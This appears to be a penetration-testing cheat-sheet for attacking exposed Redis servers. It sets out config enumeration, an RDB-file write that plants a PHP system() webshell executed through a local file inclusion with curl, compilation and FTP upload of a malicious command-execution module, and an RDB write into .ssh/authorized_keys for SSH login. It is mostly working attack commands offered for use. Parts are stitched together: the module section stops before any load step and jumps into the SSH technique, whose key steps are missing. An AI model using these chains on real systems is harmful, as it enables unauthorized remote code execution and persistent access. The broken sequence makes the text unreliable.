Redis is an in-memory data store that listens on TCP port 6379 by default.
A default Redis user may be configured with nopass and full command access. However, modern default deployments also enable protected mode and normally bind Redis to loopback interfaces.
Therefore, remote access without credentials usually indicates that the service has been deliberately exposed, protected mode has been disabled or the connection originates from an allowed interface.
The active configuration may reveal paths, credentials, persistence settings and ACL files:
redis-cli -h '<TARGET>' -p <PORT> CONFIG GET requirepassredis-cli -h '<TARGET>' -p <PORT> CONFIG GET aclfileredis-cli -h '<TARGET>' -p <PORT> CONFIG GET dirredis-cli -h '<TARGET>' -p <PORT> CONFIG GET dbfilename
The configuration-file path can normally be extracted from the server information:
redis-cli -h '<TARGET>' -p <PORT> INFO server | grep '^config_file:'
Once local file-read access has been obtained, inspect the configuration and ACL files:
cat <REDIS_CONFIGURATION_FILE>cat <ACL_FILE>
For Redis 6 or later, named users and their permissions may be defined through ACL rules.
The legacy requirepass directive configures password-only authentication through the default user.
RDB File Write + LFI
Workflow
Redis can persist its current dataset as a binary RDB snapshot using the SAVE command.
The snapshot is written to the directory and filename configured through the dir and dbfilename parameters.
Therefore, if these parameters can be modified, an attacker can store PHP code inside a Redis key and force Redis to write an RDB file to a directory controlled or readable by the web application.
The resulting resource is not a clean PHP script. It is a binary RDB file containing the payload as part of the serialized Redis dataset.
However, if a PHP application includes this resource using include or require, the interpreter processes any code enclosed within valid <?php ?> tags. The remaining RDB data is treated as content outside the PHP tags.
This creates the following attack chain:
Access the Redis instance
Store a PHP payload inside a Redis key
Write the Redis dataset to a location accessible to the web application
Include the resulting RDB file through the LFI
Execute commands as the operating-system user running PHP
If Redis can write directly inside the application’s DocumentRoot, the resulting file may instead be requested directly and the LFI is unnecessary.
Requirements
Unauthenticated Redis access or valid Redis credentials
Permission to executeCONFIG GET, CONFIG SET, SETandSAVE
Permission to modify the protecteddiranddbfilenameconfiguration parameters
A directory writable by the operating-system user running Redis
The resulting RDB file must be readable from the filesystem namespace used by the web application
An LFI reaching a PHPincludeorrequireoperation rather than a read-only function
The PHP command-execution function used by the payload must be enabled
Modern or hardened Redis configurations may prevent runtime changes todiranddbfilenameor deny the required commands through ACL rules.
Abuse
Accessing the Redis Instance
redis-cli -h <TARGET> --askpass
Creating the PHP script
$> config set dir '/dev/shm'$> config set dbfilename pwn.php$> set test '<?php system($_GET[0]); ?>'$> save
In this case, the created file does not necessarily have to end with .php, the only important thing is its content
Gaining RCE through the LFI
curl --silent --location --request GET --get --data-urlencode '0=<COMMAND>' 'http://<TARGET>:<PORT>/random.php?file=/dev/shm/pwn.php'
Malicious Module Loading
Workflow
Redis supports native modules from version 4.0 onwards
The MODULE LOAD command loads and initializes a shared library from an absolute path on the Redis server.
If an attacker can place a malicious shared library on the target and invoke MODULE LOAD, the library is loaded inside the Redis process and can register new Redis commands.
Those commands execute with the privileges of the operating-system user running redis-server.
Access to an anonymous writable FTP service can provide the file-write primitive required to place the module on the Redis server.
The resulting attack chain is:
Unauthenticated or otherwise authorized access to Redis
Permission to executeMODULE LOAD
Anonymous write access to an FTP directory located on the Redis server
Knowledge of the absolute server-side path corresponding to the FTP upload directory
A malicious module compatible with the target architecture and runtime environment
Uploading the module through FTP does not execute it. Redis must subsequently load the shared library using its absolute server-side path.
Requirements
Redis 4.0 or later with module support
TheMODULEcommand must exist andMODULE LOADmust be permitted
The connected ACL user must be allowed to execute the command
The module file must exist on the Redis server
The Redis operating-system user must be able to traverse the directories and read the module
The filesystem must permit the shared library to be mapped as executable code
The module architecture and dependencies must be compatible with the target
Enumeration
Check the Redis version and architecture:
redis-cli -h '<TARGET>' -p <PORT> INFO server
Check the effective Redis user when command execution or local access is already available:
Attempting to load the module is the definitive check. The operation will fail if the command is disabled, denied by ACLs or supplied with an invalid path.
Building the Malicious Module
From the attacker ⚔️
Install the compilation requirements:
sudo apt updatesudo apt install -y git make gcc
Clone and compile RedisModules-ExecuteCommand:
git clone 'https://github.com/n0b0dyCN/RedisModules-ExecuteCommand' RedisModules-ExecuteCommandcd !$ && make
The compilation creates module.so in the repository root.
Inspect the resulting shared library:
file module.soldd module.so
The architecture must match the Redis server. For example, an x86-64 module cannot be loaded into an ARM or 32-bit Redis process.
Uploading the Module through FTP
From the attacker ⚔️
Connect to the anonymous FTP service:
ftp '<TARGET>'
Authenticate anonymously and enable binary transfers:
anonymousanonymous@binary
Move to the writable directory and upload the module:
cd <WRITABLE_FTP_DIRECTORY>put module.sols
Command Output
-rw-r--r-- 1 ftp ftp <SIZE> <DATE> module.so
Binary transfer mode prevents the shared library from being altered during the upload.
The path exposed inside the FTP session may be relative to an FTP chroot and differ from the absolute server path required by Redis.
redis-cli -h '<TARGET>' -p <PORT> CONFIG SET dir '/var/lib/redis/.ssh'redis-cli -h '<TARGET>' -p <PORT> CONFIG SET dbfilename 'authorized_keys'
Writing the RDB File
redis-cli -h '<TARGET>' -p <PORT> SAVE
The resulting file is an RDB database rather than a clean text file. The added blank lines may allow OpenSSH to identify the embedded public-key line, but this technique depends on the target OpenSSH parser and Redis configuration.
SSH Authentication
chmod 600 redisssh -i redis redis@'<TARGET>'
This method overwrites the configured RDB destination and may affect Redis persistence.